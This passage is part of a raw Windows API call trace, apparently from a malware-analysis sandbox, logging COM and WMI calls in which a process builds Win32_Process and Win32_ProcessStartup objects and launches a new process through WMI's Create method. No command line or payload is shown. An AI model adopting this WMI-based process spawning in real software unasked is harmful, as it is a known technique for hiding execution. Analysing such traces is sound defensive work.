Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1c02a8e8) returned 0x0 [0083.454] IMarshal:GetUnmarshalClass (in: This=0x1c02a8e8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0083.454] IUnknown:Release (This=0x1c02a8e8) returned 0x3 [0083.454] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0083.454] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0083.454] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0083.454] IUnknown:Release (This=0x1c02a8e0) returned 0x2 [0083.454] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0083.454] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0083.454] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0083.454] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0083.454] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0083.454] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0083.454] IUnknown:AddRef (This=0x1c02a8e0) returned 0x3 [0083.454] IWbemClassObject:Put (This=0x1bf43dd0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c02a8e0, varVal2=0x0), Type=0) returned 0x0 [0083.454] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f570, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0083.455] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f570, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0083.455] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f570, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0083.455] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f6f0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0083.455] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0083.455] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.455] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f570, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0083.455] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f570, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0083.455] IWbemServices:ExecMethod (in: This=0x1c03eb20, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf43dd0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf44080, ppCallResult=0x0) returned 0x0 [0083.555] IWbemClassObject:Get (in: This=0x1bf44080, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2904b60*=0, plFlavor=0x2904b64*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa38, varVal2=0x0), pType=0x2904b60*=19, plFlavor=0x2904b64*=0) returned 0x0 [0083.556] IWbemClassObject:Get (in: This=0x1bf44080, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2904b60*=19, plFlavor=0x2904b64*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa38, varVal2=0x0), pType=0x2904b60*=19, plFlavor=0x2904b64*=0) returned 0x0 [0083.556] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0083.557] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0083.557] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0083.557] IUnknown:Release (This=0x111f638) returned 0x1 [0083.559] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c055810) returned 0x0 [0083.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c055810, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0083.559] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c055810, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c02f030) returned 0x0 [0083.559] WbemDefPath:IUnknown:Release (This=0x1c055810) returned 0x0 [0083.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c02f030) returned 0x0 [0083.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0083.560] WbemDefPath:IUnknown:AddRef (This=0x1c02f030) returned 0x3 [0083.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0083.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0083.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c055850) returned 0x0 [0083.560] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c055850, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.560] WbemDefPath:IUnknown:Release (This=0x1c055850) returned 0x3 [0083.560] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0083.560] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0083.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0083.560] WbemDefPath:IUnknown:Release (This=0x1c02f030) returned 0x2 [0083.560] WbemDefPath:IUnknown:Release (This=0x1c02f030) returned 0x1 [0083.560] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0083.560] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0083.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c02f030) returned 0x0 [0083.561] WbemDefPath:IUnknown:AddRef (This=0x1c02f030) returned 0x3 [0083.561] WbemDefPath:IUnknown:Release (This=0x1c02f030) returned 0x2 [0083.561] WbemDefPath:IWbemPath:SetText (This=0x1c02f030, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0083.561] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f030, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0083.561] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f030, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0083.561] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f030, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0083.561] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f030, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0083.561] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f030, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0083.561] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f030, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0083.561] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0083.561] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0083.562] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0083.562] IUnknown:Release (This=0x111f638) returned 0x1 [0083.564] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c055890) returned 0x0 [0083.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c055890, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0083.564] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c055890, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c02ef70) returned 0x0 [0083.564] WbemDefPath:IUnknown:Release (This=0x1c055890) returned 0x0 [0083.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c02ef70) returned 0x0 [0083.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0083.564] WbemDefPath:IUnknown:AddRef (This=0x1c02ef70) returned 0x3 [0083.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0083.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0083.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c0558d0) returned 0x0 [0083.565] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0558d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.565] WbemDefPath:IUnknown:Release (This=0x1c0558d0) returned 0x3 [0083.565] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0083.565] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0083.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0083.565] WbemDefPath:IUnknown:Release (This=0x1c02ef70) returned 0x2 [0083.565] WbemDefPath:IUnknown:Release (This=0x1c02ef70) returned 0x1 [0083.565] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0083.565] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0083.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c02ef70) returned 0x0 [0083.565] WbemDefPath:IUnknown:AddRef (This=0x1c02ef70) returned 0x3 [0083.565] WbemDefPath:IUnknown:Release (This=0x1c02ef70) returned 0x2 [0083.565] WbemDefPath:IWbemPath:SetText (This=0x1c02ef70, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0083.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ef70, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0083.565] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ef70, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0083.565] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ef70, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0083.565] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02ef70, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0083.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ef70, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0083.565] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02ef70, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0083.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ef70, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0083.565] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0083.566] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0083.566] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.566] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0083.566] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0083.566] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0083.566] IUnknown:Release (This=0x111f638) returned 0x1 [0083.568] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c055910) returned 0x0 [0083.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c055910, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0083.568] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c055910, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1c02eeb0) returned 0x0 [0083.568] WbemDefPath:IUnknown:Release (This=0x1c055910) returned 0x0 [0083.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1c02eeb0) returned 0x0 [0083.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0083.568] WbemDefPath:IUnknown:AddRef (This=0x1c02eeb0) returned 0x3 [0083.569] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0083.569] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0083.569] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c055950) returned 0x0 [0083.569] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c055950, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.569] WbemDefPath:IUnknown:Release (This=0x1c055950) returned 0x3 [0083.569] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0083.569] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0083.569] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0083.569] WbemDefPath:IUnknown:Release (This=0x1c02eeb0) returned 0x2 [0083.569] WbemDefPath:IUnknown:Release (This=0x1c02eeb0) returned 0x1 [0083.569] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0083.569] CoGetContextToken (in: pToken=0x1b2fd410 | out: 